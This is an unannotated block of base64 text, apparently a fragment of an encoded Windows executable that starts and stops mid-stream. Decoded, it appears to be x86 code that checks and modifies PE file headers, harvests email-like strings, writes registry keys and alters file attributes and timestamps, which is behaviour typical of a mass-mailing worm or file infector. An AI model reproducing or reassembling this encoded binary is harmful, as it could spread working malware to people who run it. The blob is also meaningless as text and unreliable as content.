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 